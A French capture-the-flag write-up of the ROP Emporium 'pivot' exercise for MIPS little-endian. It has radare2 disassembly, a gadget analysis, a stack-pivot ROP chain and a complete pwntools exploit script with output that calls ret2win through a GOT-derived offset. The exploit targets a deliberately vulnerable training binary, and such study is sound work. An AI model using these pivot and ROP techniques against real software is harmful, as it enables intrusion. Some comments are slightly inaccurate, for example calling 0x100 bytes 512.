Contents

Ropemporium mipsel pivot

pivot mipsel

Introduction.

Le pitch et le matériel de cet exercie se trouve sur cette page du site ropemporium :

pivot

Dans cet exercice le message vulnérable au débordement ne permet pas comme pécédemment d’envoyer une chaine de ROP très longue.

Découverte

Contenu du challenge

-rw-r--r-- 1 jce jce    33 15 juil.  2020 flag.txt
-rwxr-xr-x 1 jce jce 12144 16 juil.  2020 libpivot_mipsel.so
-rwxr-xr-x 1 jce jce 12412 16 juil.  2020 pivot_mipsel

Execution

$ ./pivot_mipsel 
pivot by ROP Emporium
MIPS

Call ret2win() from libpivot
The Old Gods kindly bestow upon you a place to pivot: 0x3fe00f08
Send a ROP chain now and it will land there
> aaaaaaaaa
Thank you!

Now please send your stack smash
> bbbbbbbbbbbbbbbbbbbbb
Thank you!

Exiting

Le programme nous donne une adresse annoncée comme celle où pivolter la pile, puis un message pour envoyer une chaine de ROP et un message de débordement.

Analyse

Le progamme principal

On observe les binaires avec radare2

radare2 -A pivot_mipsel

Les reférences intéressantes sont :

fs symbols
f
...
0x00400980 340 sym.main
0x00400ad4 392 sym.pwnme
0x00400c5c 136 sym.uselessFunction
0x00400ca0 0 loc.usefulGadgets
...

La fonction vulnérables est dans le programme principal

La fontion uselessFunction

LA fonction vulnérable :

┌ 392: sym.pwnme (int32_t arg1, int32_t arg3, int32_t arg_10h, int32_t arg_18h, int32_t arg_40h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; arg int32_t arg_18h @ fp+0x18
│           ; arg int32_t arg_40h @ fp+0x40     ; adresse pivot
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_38h @ sp+0x38
│           ; var int32_t var_3ch @ sp+0x3c
│           ; arg int32_t arg1 @ a0
│           ; arg int32_t arg3 @ a2
│           0x00400ad4      c0ffbd27       addiu sp, sp, -0x40
│           0x00400ad8      3c00bfaf       sw ra, (var_3ch)
│           0x00400adc      3800beaf       sw fp, (var_38h)
│           0x00400ae0      25f0a003       move fp, sp
│           0x00400ae4      42001c3c       lui gp, 0x42                ; 'B'
│           0x00400ae8      10a09c27       addiu gp, gp, -0x5ff0
│           0x00400aec      1000bcaf       sw gp, (var_10h)
│           0x00400af0      4000c4af       sw a0, (arg_40h)            ; adresse pivot passée en agument
│           0x00400af4      20000624       addiu a2, zero, 0x20        ; arg3
│           0x00400af8      25280000       move a1, zero
│           0x00400afc      1800c227       addiu v0, fp, 0x18
│           0x00400b00      25204000       move a0, v0
│           0x00400b04      4480828f       lw v0, -sym.imp.memset(gp)  ; [0x412054:4]=0x400e90 sym.imp.memset
│           0x00400b08      25c84000       move t9, v0
│           0x00400b0c      09f82003       jalr t9
│           0x00400b10      00000000       nop
│           0x00400b14      1000dc8f       lw gp, (var_10h)
│           0x00400b18      4000023c       lui v0, 0x40                ; '@'
│           0x00400b1c      640f4424       addiu a0, v0, 0xf64         ; 0x400f64 ; "Call ret2win() from libpivot" 
│           0x00400b20      5c80828f       lw v0, -sym.imp.puts(gp)    ; [0x41206c:4]=0x400e40 sym.imp.puts ; "@\x0e@"
│           0x00400b24      25c84000       move t9, v0
│           0x00400b28      09f82003       jalr t9
│           0x00400b2c      00000000       nop                         ; affichage de l'adresse pivot
│           0x00400b30      1000dc8f       lw gp, (var_10h)
│           0x00400b34      4000c58f       lw a1, (arg_40h)            ; adresse pivot
│           0x00400b38      4000023c       lui v0, 0x40                ; '@'
│           0x00400b3c      840f4424       addiu a0, v0, 0xf84         ; 0x400f84 ; "The Old Gods kindly bestow upon you a place to pivot: %p\n" 
│           0x00400b40      6880828f       lw v0, -sym.imp.printf(gp)  ; [0x412078:4]=0x400e10 sym.imp.printf
│           0x00400b44      25c84000       move t9, v0
│           0x00400b48      09f82003       jalr t9
│           0x00400b4c      00000000       nop
│           0x00400b50      1000dc8f       lw gp, (var_10h)
│           0x00400b54      4000023c       lui v0, 0x40                ; '@'
│           0x00400b58      c00f4424       addiu a0, v0, 0xfc0         ; 0x400fc0 ; "Send a ROP chain now and it will land there"
│           0x00400b5c      5c80828f       lw v0, -sym.imp.puts(gp)    ; [0x41206c:4]=0x400e40 sym.imp.puts ; "@\x0e@"
│           0x00400b60      25c84000       move t9, v0
│           0x00400b64      09f82003       jalr t9
│           0x00400b68      00000000       nop
│           0x00400b6c      1000dc8f       lw gp, (var_10h)
│           0x00400b70      4000023c       lui v0, 0x40                ; '@'
│           0x00400b74      ec0f4424       addiu a0, v0, 0xfec         ; arg1 ; esilref: '> '
│           0x00400b78      6880828f       lw v0, -sym.imp.printf(gp)  ; [0x412078:4]=0x400e10 sym.imp.printf
│           0x00400b7c      25c84000       move t9, v0
│           0x00400b80      09f82003       jalr t9
│           0x00400b84      00000000       nop                         ; lecture de 512 octets vers l'adresse pivot
│           0x00400b88      1000dc8f       lw gp, (var_10h)
│           0x00400b8c      00010624       addiu a2, zero, 0x100       ; 512
│           0x00400b90      4000c58f       lw a1, (arg_40h)            ;  adresse pivot
│           0x00400b98      7080828f       lw v0, -sym._MIPS_STUBS_(gp) ; sym.imp.read
│           0x00400b9c      25c84000       move t9, v0
│           0x00400ba0      09f82003       jalr t9
│           0x00400ba4      00000000       nop
│           0x00400ba8      1000dc8f       lw gp, (var_10h)
│           0x00400bac      4000023c       lui v0, 0x40                ; '@'
│           0x00400bb0      f00f4424       addiu a0, v0, 0xff0         ; 0x400ff0 ; "Thank you!\n" ; arg1 ; str.Thank_you__n
│           0x00400bb4      5c80828f       lw v0, -sym.imp.puts(gp)    ; [0x41206c:4]=0x400e40 sym.imp.puts ; "@\x0e@"
│           0x00400bb8      25c84000       move t9, v0
│           0x00400bbc      09f82003       jalr t9
│           0x00400bc0      00000000       nop
│           0x00400bc4      1000dc8f       lw gp, (var_10h)
│           0x00400bc8      4000023c       lui v0, 0x40                ; '@'
│           0x00400bcc      fc0f4424       addiu a0, v0, 0xffc         ; 0x400ffc ; "Now please send your stack smash" 
│           0x00400bd0      5c80828f       lw v0, -sym.imp.puts(gp)    ; [0x41206c:4]=0x400e40 sym.imp.puts ; "@\x0e@"
│           0x00400bd4      25c84000       move t9, v0
│           0x00400bd8      09f82003       jalr t9
│           0x00400bdc      00000000       nop
│           0x00400be0      1000dc8f       lw gp, (var_10h)
│           0x00400be4      4000023c       lui v0, 0x40                ; '@'
│           0x00400be8      ec0f4424       addiu a0, v0, 0xfec         ; arg1 ; esilref: '> '
│           0x00400bec      6880828f       lw v0, -sym.imp.printf(gp)  ; [0x412078:4]=0x400e10 sym.imp.printf
│           0x00400bf0      25c84000       move t9, v0
│           0x00400bf4      09f82003       jalr t9
│           0x00400bf8      00000000       nop
│           0x00400bfc      1000dc8f       lw gp, (var_10h)
│           0x00400c00      28000624       addiu a2, zero, 0x28        ; arg3
│           0x00400c04      1800c227       addiu v0, fp, 0x18
│           0x00400c08      25284000       move a1, v0
│           0x00400c0c      25200000       move a0, zero
│           0x00400c10      7080828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x412080:4]=0x400e00 sym.imp.read
│           0x00400c14      25c84000       move t9, v0
│           0x00400c18      09f82003       jalr t9
│           0x00400c1c      00000000       nop
│           0x00400c20      1000dc8f       lw gp, (var_10h)
│           0x00400c24      4000023c       lui v0, 0x40                ; '@'
│           0x00400c28      20104424       addiu a0, v0, 0x1020        ; 0x401020 ; "Thank you!" ; arg1 ; str.Thank_you_
│           0x00400c2c      5c80828f       lw v0, -sym.imp.puts(gp)    ; [0x41206c:4]=0x400e40 sym.imp.puts ; "@\x0e@"
│           0x00400c30      25c84000       move t9, v0
│           0x00400c34      09f82003       jalr t9
│           0x00400c38      00000000       nop
│           0x00400c3c      1000dc8f       lw gp, (var_10h)
│           0x00400c40      00000000       nop
│           0x00400c44      25e8c003       move sp, fp
│           0x00400c48      3c00bf8f       lw ra, (var_3ch)
│           0x00400c4c      3800be8f       lw fp, (var_38h)
│           0x00400c50      4000bd27       addiu sp, sp, 0x40
│           0x00400c54      0800e003       jr ra
└           0x00400c58      00000000       nop

La fonction vulnérable attend en paramètre l’adresse pivot située dans le bloc alloué par la fonction main. Elle nous affiche cette adresse. Elle effectue une lecture de 512 octets sur stdin vers cette adrese pivot Ensuite elle effecture une seconde lecture vulnérable.

Le second appel de la fonction read fait

│           0x00400c00      28000624       addiu a2, zero, 0x28        ; taille 40
│           0x00400c04      1800c227       addiu v0, fp, 0x18
│           0x00400c08      25284000       move a1, v0
│           0x00400c0c      25200000       move a0, zero
│           0x00400c10      7080828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x412080:4]=0x400e00 sym.imp.read
│           0x00400c14      25c84000       move t9, v0
│           0x00400c18      09f82003       jalr t9
  • le débordement se fait à partir de 0x24 (36) octets
  • la taille du message lu est 0x28 (40) octets.

On de dispose donc que d’un mot pour pivoter la pile.

pdf @ sym.uselessFunction
┌ 136: sym.uselessFunction (int32_t arg1, int32_t arg_10h, int32_t arg_4h, int32_t arg_8h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; var int32_t var_4h @ sp+0x4
│           ; var int32_t var_8h @ sp+0x8
│           ; var int32_t var_ch @ sp+0xc
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_8h_2 @ sp+0x14
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_1ch @ sp+0x1c
│           ; arg int32_t arg_4h @ sp+0x20
│           ; arg int32_t arg_8h @ sp+0x24
│           ; arg int32_t arg1 @ a0
│           0x00400c5c      e0ffbd27       addiu sp, sp, -0x20
│           0x00400c60      1c00bfaf       sw ra, (var_1ch)
│           0x00400c64      1800beaf       sw fp, (var_18h)
│           0x00400c68      25f0a003       move fp, sp
│           0x00400c6c      42001c3c       lui gp, 0x42                
│           0x00400c70      10a09c27       addiu gp, gp, -0x5ff0
│           0x00400c74      1000bcaf       sw gp, (var_10h)
│           0x00400c78      5080828f       lw v0, -sym.imp.foothold_function(gp) ; [0x412060:4]=0x400e60 sym.imp.foothold_function ; "`\x0e@"
│           0x00400c7c      25c84000       move t9, v0
│           0x00400c80      09f82003       jalr t9
│           0x00400c84      00000000       nop
│           0x00400c88      1000dc8f       lw gp, (var_10h)
│           0x00400c8c      01000424       addiu a0, zero, 1           ; arg1
│           0x00400c90      5480828f       lw v0, -sym.imp.exit(gp)    ; [0x412064:4]=0x400e50 sym.imp.exit ; "P\x0e@"
│           0x00400c94      25c84000       move t9, v0
│           0x00400c98      09f82003       jalr t9

Cette fonction n’est pas utilisée mais reférence une fonction foothold_function, la rendant accessible en en créant une référence dans les tables PLT et GOT

Dans le programme on trouve aussi des gadgets Remarque. Avec radare2, affichez les gadgets sans préalablement avoir effectué l’analyse afin d’éviter l’interpretation des variables ce qui donné des choses comme :

; var int32_t var_8h_2 @ sp+0x14
0x00400cb0      0800b98f       lw t9, (var_8h_2)


[0x004007e0]> s loc.usefulGadgets
[0x00400ca0]> pd 20
        ;-- usefulGadgets:
        0x00400ca0      0800b98f       lw t9, 8(sp)
        0x00400ca4      0400a88f       lw t0, 4(sp)
        0x00400ca8      09f82003       jalr t9
        0x00400cac      0c00bd27       addiu sp, sp, 0xc
        0x00400cb0      0800b98f       lw t9, 8(sp)
        0x00400cb4      0400aa8f       lw t2, 4(sp)
        0x00400cb8      0000498d       lw t1, (t2)
        0x00400cbc      09f82003       jalr t9
        0x00400cc0      0c00bd27       addiu sp, sp, 0xc
        0x00400cc4      20c80901       add t9, t0, t1
        0x00400cc8      09f82003       jalr t9
        0x00400ccc      0400bd27       addiu sp, sp, 4
        0x00400cd0      25e8c003       move sp, fp
        0x00400cd4      0800bf8f       lw ra, 8(sp)
        0x00400cd8      0400be8f       lw fp, 4(sp)
        0x00400cdc      0800e003       jr ra
        0x00400ce0      0c00bd27       addiu sp, sp, 0xc

Analyse des gadgets

chargement de t0 et t9 puis call t9

  • lw t9, 8(sp)
  • lw t0, 4(sp)
  • jalr t9
  • addiu sp, sp, 0xc

Lecture dans t1 du contenu d’une adresse puis call

  • lw t9, 8(sp)
  • lw t2, 4(sp)
  • lw t1, (t2)
  • jalr t9
  • addiu sp, sp, 0xc

call t0+t1

  • add t9, t0, t1
  • jalr t9
  • addiu sp, sp, 4

pivote la pile

  • move sp, fp ; pivote : sp <= fp
  • lw ra, 8(sp) ; charge ra avec sp[2]
  • lw fp, 4(sp) ; charge fp avec sp[1]
  • jr ra ; jump ra
  • addiu sp, sp, 0xc ; sp=sp+12

La librairie libpivot_mipsel.so

La librairie contient essentiellement deux fonctions qui nous intéressent:

0x000009c0 88 sym.foothold_function
0x00000d38 264 sym.ret2win

ret2win est la fonction a appeller mais nous ne connaissons pas son adresse et elle n’est pas référencée par le programme principal. En revanche nous connaisson la distance relative entre les deux fonctions : 0x00000d38 - 0x000009c0 = 0x378

Or la fonction foothold_function elle est référencée dans le programme. Avec l’adresse de foothold_function on peut calculer cette de ret2win en ajoutant 0x378

┌ 88: sym.foothold_function (int32_t arg1, int32_t arg_10h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; var int32_t var_10h @ sp+0x10
│           ; var int32_t var_18h @ sp+0x18
│           ; var int32_t var_1ch @ sp+0x1c
│           ; arg int32_t arg1 @ a0
│           0x000009c0      02001c3c       lui gp, 2
│           0x000009c4      30969c27       addiu gp, gp, -0x69d0
│           0x000009c8      21e09903       addu gp, gp, t9
│           0x000009cc      e0ffbd27       addiu sp, sp, -0x20
│           0x000009d0      1c00bfaf       sw ra, (var_1ch)
│           0x000009d4      1800beaf       sw fp, (var_18h)
│           0x000009d8      25f0a003       move fp, sp
│           0x000009dc      1000bcaf       sw gp, (var_10h)
│           0x000009e0      2880828f       lw v0, -0x7fd8(gp)          ; [0x12018:4]=0
│           0x000009e4      500f4424       addiu a0, v0, str.foothold_function__:_Check_out_my_.got.plt_entry_to_gain_a_foothold_into_libpivot ; 0xf50 ; "foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot" ; arg1
│           0x000009e8      4880828f       lw v0, -sym.imp.puts(gp)    ; [0x12038:4]=0xec0 sym.imp.puts
│           0x000009ec      25c84000       move t9, v0
│           0x000009f0      09f82003       jalr t9
│           0x000009f4      00000000       nop
│           0x000009f8      1000dc8f       lw gp, (var_10h)
│           0x000009fc      00000000       nop
│           0x00000a00      25e8c003       move sp, fp
│           0x00000a04      1c00bf8f       lw ra, (var_1ch)
│           0x00000a08      1800be8f       lw fp, (var_18h)
│           0x00000a0c      2000bd27       addiu sp, sp, 0x20
│           0x00000a10      0800e003       jr ra
└           0x00000a14      00000000       nop


┌ 264: sym.ret2win (int32_t arg1, int32_t arg2, int32_t arg_10h, int32_t arg_1ch, int32_t arg_20h, int32_t arg_44h);
│           ; arg int32_t arg_10h @ fp+0x10
│           ; arg int32_t arg_1ch @ fp+0x1c
│           ; arg int32_t arg_20h @ fp+0x20
│           ; arg int32_t arg_44h @ fp+0x44
│           ; var int32_t var_10h_2 @ sp+0x10
│           ; var int32_t var_48h @ sp+0x48
│           ; var int32_t var_4ch @ sp+0x4c
│           ; arg int32_t arg1 @ a0
│           ; arg int32_t arg2 @ a1
│           0x00000d38      02001c3c       lui gp, 2
│           0x00000d3c      b8929c27       addiu gp, gp, -0x6d48
│           0x00000d40      21e09903       addu gp, gp, t9
│           0x00000d44      b0ffbd27       addiu sp, sp, -0x50
│           0x00000d48      4c00bfaf       sw ra, (var_4ch)
│           0x00000d4c      4800beaf       sw fp, (var_48h)
│           0x00000d50      25f0a003       move fp, sp
│           0x00000d54      1000bcaf       sw gp, (var_10h_2)
│           0x00000d58      5080828f       lw v0, -0x7fb0(gp)          ; [0x12040:4]=0
│           0x00000d5c      0000428c       lw v0, (v0)
│           0x00000d60      4400c2af       sw v0, (arg_44h)
│           0x00000d64      1c00c0af       sw zero, (arg_1ch)
│           0x00000d68      2880828f       lw v0, -0x7fd8(gp)          ; [0x12018:4]=0
│           0x00000d6c      b80f4524       addiu a1, v0, 0xfb8         ; arg2
│           0x00000d70      2880828f       lw v0, -0x7fd8(gp)          ; [0x12018:4]=0
│           0x00000d74      bc0f4424       addiu a0, v0, str.flag.txt  ; 0xfbc ; "flag.txt" ; arg1
│           0x00000d78      5480828f       lw v0, -sym._MIPS_STUBS_(gp) ; [0x12044:4]=0xea0 sym.imp.fopen
│           0x00000d7c      25c84000       move t9, v0
│           0x00000d80      09f82003       jalr t9
│           0x00000d84      00000000       nop
│           0x00000d88      1000dc8f       lw gp, (var_10h_2)
│           0x00000d8c      1c00c2af       sw v0, (arg_1ch)
│           0x00000d90      1c00c28f       lw v0, (arg_1ch)
│       ┌─< 0x00000d94      0d004014       bnez v0, 0xdcc
│       │   0x00000d98      00000000       nop
│       │   0x00000d9c      2880828f       lw v0, -0x7fd8(gp)          ; [0x12018:4]=0
│       │   0x00000da0      c80f4424       addiu a0, v0, str.Failed_to_open_file:_flag.txt ; 0xfc8 ; "Failed to open file: flag.txt" ; arg1
│       │   0x00000da4      4880828f       lw v0, -sym.imp.puts(gp)    ; [0x12038:4]=0xec0 sym.imp.puts
│       │   0x00000da8      25c84000       move t9, v0
│       │   0x00000dac      09f82003       jalr t9
│       │   0x00000db0      00000000       nop
│       │   0x00000db4      1000dc8f       lw gp, (var_10h_2)
│       │   0x00000db8      01000424       addiu a0, zero, 1           ; arg1
│       │   0x00000dbc      4080828f       lw v0, -sym.imp.exit(gp)    ; [0x12030:4]=0xed0 sym.imp.exit
│       │   0x00000dc0      25c84000       move t9, v0
│       │   0x00000dc4      09f82003       jalr t9
│       │   0x00000dc8      00000000       nop
│       │   ; CODE XREF from sym.ret2win @ 0xd94
│       └─> 0x00000dcc      2000c227       addiu v0, fp, 0x20
│           0x00000dd0      1c00c68f       lw a2, (arg_1ch)
│           0x00000dd4      21000524       addiu a1, zero, 0x21        ; arg2
│           0x00000dd8      25204000       move a0, v0
│           0x00000ddc      4c80828f       lw v0, -sym.imp.fgets(gp)   ; [0x1203c:4]=0xeb0 sym.imp.fgets
│           0x00000de0      25c84000       move t9, v0
│           0x00000de4      09f82003       jalr t9
│           0x00000de8      00000000       nop
│           0x00000dec      1000dc8f       lw gp, (var_10h_2)
│           0x00000df0      2000c227       addiu v0, fp, 0x20
│           0x00000df4      25204000       move a0, v0
│           0x00000df8      4880828f       lw v0, -sym.imp.puts(gp)    ; [0x12038:4]=0xec0 sym.imp.puts
│           0x00000dfc      25c84000       move t9, v0
│           0x00000e00      09f82003       jalr t9
│           0x00000e04      00000000       nop
│           0x00000e08      1000dc8f       lw gp, (var_10h_2)
│           0x00000e0c      1c00c48f       lw a0, (arg_1ch)
│           0x00000e10      3c80828f       lw v0, -sym.imp.fclose(gp)  ; [0x1202c:4]=0xee0 sym.imp.fclose
│           0x00000e14      25c84000       move t9, v0
│           0x00000e18      09f82003       jalr t9
│           0x00000e1c      00000000       nop
│           0x00000e20      1000dc8f       lw gp, (var_10h_2)
│           0x00000e24      1c00c0af       sw zero, (arg_1ch)
│           0x00000e28      25200000       move a0, zero
│           0x00000e2c      4080828f       lw v0, -sym.imp.exit(gp)    ; [0x12030:4]=0xed0 sym.imp.exit
│           0x00000e30      25c84000       move t9, v0
│           0x00000e34      09f82003       jalr t9
│           0x00000e38      00000000       nop
└           0x00000e3c      00000000       nop

Construction de l’attaque

Pivoter la pile

Pour pivoter la pile on utilise le gadget

0x00400cd4 move sp, fp; lw ra, 8(sp); lw fp, 4(sp); jr ra; addiu sp, sp, 0xc
  • move sp, fp ; pivote : sp <= fp
  • lw ra, 8(sp) ; charge ra avec sp[2]
  • lw fp, 4(sp) ; charge fp avec sp[1]
  • jr ra ; jump ra
  • addiu sp, sp, 0xc ; sp=sp+12

On peut maitriser la valeur initiale de sp.

Pour cela il faut rappeller ce qui se passe à l’épilogue de pwnme.

│           0x00400c48      3c00bf8f       lw ra, (var_3ch)
│           0x00400c4c      3800be8f       lw fp, (var_38h)
│           0x00400c50      4000bd27       addiu sp, sp, 0x40
│           0x00400c54      0800e003       jr ra
└           0x00400c58      00000000       nop

Juste avant je saut final, on a restoré les valeurs de fp et ra présentes sur la pile et donc écrasées par notre message qui aurra cette forme :

[pad de 32 octets][fp][ra][gadget pivot]

La chaine de ROP pour le pivot, après une message de débordement jusqu’à la sauvegarde de fp : 0x20 octets.

ROP entry gadget comment
leak leak adresse de la chaine d’exploitation qui sera restorée dans fp
0x00400cd4  move sp, fp; lw ra, 8(sp); lw fp, 4(sp); jr ra; addiu sp, sp, 0xc pivot

Attention, la permière instruction  move sp, fp bascule la pile. Mais ensuite les deux suivantes font réalisées. ra et fp sont lus sur la nouvelle pile qui doit commencer par :

  • un junk (n’importe quoi) pour que la suite soit en sp+4
  • une valeur pour fp
  • une adresse pour ra : le premier gadget de le chaine

Appeller ret2win

La chaine d’exploitation principale doit appeller la fonction ret2win.

Pour cela on va appeller la fonction située à l’adresse de foothold_function dans la GOT + l’offset entre foothold_function et ret2win calculé précédement : 0x378 (888).

La gadget

0x00400cc4 : add $t9, $t0, $t1 ; jalr $t9 ; addiu $sp, $sp, 4

nous permet cet appel en effectuant un call(t0+t1).

Il nous faut préalablement charger l’adresse de foothold_function et 888 dans ces deux registres

Le gadget suivant permet de charger t1 avec le contenu d’une adresse mémoire

 0x00400cb0 : lw $t9, 8($sp) ; lw $t2, 4($sp) ; lw $t1, ($t2) ; jalr $t9 ; addiu $sp, $sp, 0xc

Son usage : - jump 0x00400cb0 - junk car on a rien a mettre dans ($sp) - adresse foothold_function@got - adresse du prochain gadget pour t9

Ensuite pour charger 888 dans t0 on a :

0x00400ca0 : lw $t9, 8($sp) ; lw $t0, 4($sp) ; jalr $t9 ; addiu $sp, $sp, 0xc

- jump 0x00400ca0 
- junk car on a rien a mettre dans ($sp)
- 888
- adresse du prochain gadget pour t9

Préalabelement il faut encore avoir appelé une première fois foothold_function pour que son adresse soit présente dans la pile. On peut réaliser cet appel avec le gadget qui permet de charget t0 et d’appeller un fonction.

0x00400ca0 : lw $t9, 8($sp) ; lw $t0, 4($sp) ; jalr $t9 ; addiu $sp, $sp, 0xc

- jump 0x00400ca0 
- junk car on a rien a mettre dans ($sp)
- une valeur junk pour t0
- foothold_function@plt pour t9

La chaine de ROP à poster dans le premier message est donc construite dans l’ordre inverse de la description qui vien d’être faite.

Un dernier détail, ne pas oublier que la chaine doit commence par deux valeurs de junk consommés par le pivot, comme dit plus haut.

La chaine de ROP d’exploitation

ROP entry gadget comment
0xaaaaaaaa junk
leak+0x200 junk pour fp
 ———-  Appel de foothold_function
0x00400ca0  lw $t9, 8($sp) ; lw $t0, 4($sp) ; jalr $t9 ; addiu $sp, $sp, 0xc call foothold_function
0xdeadbeef junk
0x00000000 junk pour t0 inutile
0x00000e60 foothold.plt foothold pour t9
 ———-  Lecture de la GOT
0x00400cb0  lw $t9, 8($sp) ; lw $t2, 4($sp) ; lw $t1, ($t2) ; jalr $t9 ; addiu $sp, $sp, 0xc Lecture dans t1
0x00000e60 foothold.plt foothold
 ———-  Chargement de t0 avec 888
0x00400ca0 lw $t9, 8($sp) ; lw $t0, 4($sp) ; jalr $t9 ; addiu $sp, $sp, 0xc Chargement de t0
0xdeadbeef junk
0x00000378 888 offset de ret2win
 ———-  call t0+t1
0x00400cc4 add $t9, $t0, $t1 ; jalr $t9 ; addiu $sp, $sp, 4 chargé dans le t9 du gadget précédent

## Exploitation

### Le script python

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from pwn import *
import time


# ROPemporium pivot MIPSEL

# Set up pwntools for the correct architecture
elf = context.binary = ELF('pivot_mipsel')
context.terminal=["/usr/bin/xterm", "-fa", "Monospace", "-fs","12", "-e"]

# ret : 284
gs='''
b *pwnme+372
c
'''

# References ELF du programme
main=elf.symbols['main']
useless_func=elf.symbols['uselessFunction']
got_foothold=elf.got['foothold_function']
plt_foothold=elf.plt['foothold_function']
puts=elf.symbols['puts']
pwnme=elf.symbols['pwnme']
data = elf.get_section_by_name('.data').header['sh_addr']

# References ELF de la librairie
libelf = ELF('libpivot_mipsel.so')

lib_foothold = libelf.symbols['foothold_function']
lib_ret2win = libelf.symbols['ret2win']
off_ret2win=lib_ret2win-lib_foothold


# Gadgets
# Read address to t1 and call
# 0x00400cb0 : lw $t9, 8($sp) ; lw $t2, 4($sp) ; lw $t1, ($t2) ; jalr $t9 ; addiu $sp, $sp, 0xc
g_read_addr_and_call = 0x00400cb0

# Load t0 and call t9
# 0x00400ca0 : lw $t9, 8($sp) ; lw $t0, 4($sp) ; jalr $t9 ; addiu $sp, $sp, 0xc
g_load_t0_and_call = 0x00400ca0

# Call t0+t1
# 0x00400cc4 : add $t9, $t0, $t1 ; jalr $t9 ; addiu $sp, $sp, 4
g_call_t0t1 = 0x00400cc4

# move sp, fp; lw ra, (sp+8); lw fp, (sp+4); jr ra; addiu sp, sp, 0xc
g_pivot = 0x00400cd0



if len(sys.argv)>1 and sys.argv[1] == "-d":
    io = gdb.debug([elf.path],gdbscript=gs)
else:
    io = process([elf.path])


bssaddr = elf.get_section_by_name('.bss').header['sh_addr']

# Premier message
# ETAPE 0 : lecture de l'adresse leak
io.recvuntil(b"to pivot:")
leak = io.recvline().rstrip()
leak = int(leak,16)
log.info(f"got_foothold   = 0x{got_foothold:x}")
log.info(f"leak           = 0x{leak:x}")
log.info(f"adr ret2win    = 0x{lib_ret2win:x}")
log.info(f"adr foothold   = 0x{lib_foothold:x}")
log.info(f"offset ret2win = 0x{off_ret2win:x}")
log.info(f".bss address   = 0x{bssaddr=:x}")

log.info("Message 1")
# MESSAGE 1
# ROP chaine d'exploitation

# sp will be set to leak-4
PL=p32(0xbbbbbbbb)         # junk
PL+=p32(leak-0x200)          # pour fp
PL+=p32(g_load_t0_and_call) # pour ra du gadget pivot
# Call foothold
PL+=p32(0xdeadbeef)         # junk
PL+=p32(off_ret2win)        # t0 inutile ici
PL+=p32(plt_foothold)       # pour t9

# read got to t1
PL+=p32(g_read_addr_and_call) # pour ra
PL+=p32(got_foothold)       # 

# load t0 with offset btw foothold and ret2win
PL+=p32(g_load_t0_and_call) # next gadget
PL+=p32(0xbbbbbbbb)         # junk
PL+=p32(off_ret2win)        # offset 

PL+=p32(g_call_t0t1)        # call (t0+t1)

io.sendlineafter(b"> ",PL)

log.info("ETAPE 1 / pivot")
# MESSAGE 2 : pivot
# Offset avant ecrasement de l'adresse de la sauvagarde de sp
offset=0x20

PL =b"A"*offset
PL+=p32(leak)                 # Va dans fp
# move sp, fp; lw ra, (sp+8); lw fp, (sp+4); jr ra; addiu sp, sp, 0xc
PL+=p32(g_pivot)              # sp <= fp ; ra <= [leak+4]; fp <= [leak]; jr ra

log.info(f"Payload size : 0x{len(PL):x}")
log.info(PL.hex())
io.sendlineafter(b"> ",PL)

'''
# This line is read by prio gadget
PL+=p32(g_call_with_a0)    # t9 => next gadget for g_write_s1s0
PL+=p32(0xdeadbeef)        # junk
PL+=p32(print_file)        # t9 for g_call_with_a0
PL+=p32(bssaddr)           # t0 for g_call_with_a0
'''

io.interactive()
io.recvuntil(b"ROPE")
flag=io.recvline().decode()
log.success(f"flag : ROPE{flag}")
io.close()

Déroulement

[*] '/w/ropemporium/mipsel/07_pivot/pivot_mipsel'
    Arch:     mips-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    RUNPATH:  b'.'
[*] '/w/ropemporium/mipsel/07_pivot/libpivot_mipsel.so'
    Arch:     mips-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] Starting local process '/w/ropemporium/mipsel/07_pivot/pivot_mipsel': pid 106
[*] got_foothold   = 0x412060
[*] leak           = 0x3fda6f08
[*] adr ret2win    = 0xd38
[*] adr foothold   = 0x9c0
[*] offset ret2win = 0x378
[*] .bss address   = 0xbssaddr=412090
[*] Message 1
[*] ETAPE 1 / pivot
[*] Payload size : 0x28
[*] 4141414141414141414141414141414141414141414141414141414141414141086fda3fd00c4000
[*] Switching to interactive mode
Thank you!
foothold_function(): Check out my .got.plt entry to gain a foothold into libpivot
ROPE{a_placeholder_32byte_flag!}
[*] Got EOF while reading in interactive

Annexe

Pour localiser la PLT avec radare2. On peut par exemple afficher les segments et filtrer les reférences “imp”.

[0x00400c5c]> is~imp.
15  ---------- 0x00000000 WEAK   NOTYPE 16       imp._ITM_registerTMCloneTable
16  ---------- 0x00000000 GLOBAL OBJ    16       imp.stdout
17  0x00000e90 0x00400e90 GLOBAL FUNC   16       imp.memset
18  0x00000e80 0x00400e80 GLOBAL FUNC   16       imp.setvbuf
19  0x00000e70 0x00400e70 GLOBAL FUNC   16       imp.__libc_start_main
20  0x00000e60 0x00400e60 GLOBAL FUNC   16       imp.foothold_function
21  0x00000e50 0x00400e50 GLOBAL FUNC   16       imp.exit
22  ---------- 0x00000000 WEAK   FUNC   16       imp.__gmon_start__
23  0x00000e40 0x00400e40 GLOBAL FUNC   16       imp.puts
24  0x00000e30 0x00400e30 GLOBAL FUNC   16       imp.malloc
25  0x00000e20 0x00400e20 GLOBAL FUNC   16       imp.free
26  0x00000e10 0x00400e10 GLOBAL FUNC   16       imp.printf
27  ---------- 0x00000000 WEAK   NOTYPE 16       imp._ITM_deregisterTMCloneTable
28  0x00000e00 0x00400e00 GLOBAL FUNC   16       imp.read

Si on observe la PLT on voit que chaque fonction importée possède une entrée de 4 mots.

    [0x00400e00]> pd 24
                ;-- section..MIPS.stubs:
                ;-- .MIPS.stubs:
                ;-- read:
                ; UNKNOWN XREF from aav.0x004003ec @ +0x1c4
                ; CALL XREFS from sym.pwnme @ 0x400ba0, 0x400c18
    ┌ 16: sym._MIPS_STUBS_ ();
    │           ; var int32_t var_10h @ sp+0x10
    │           ; var int32_t var_1ch @ sp+0x1c
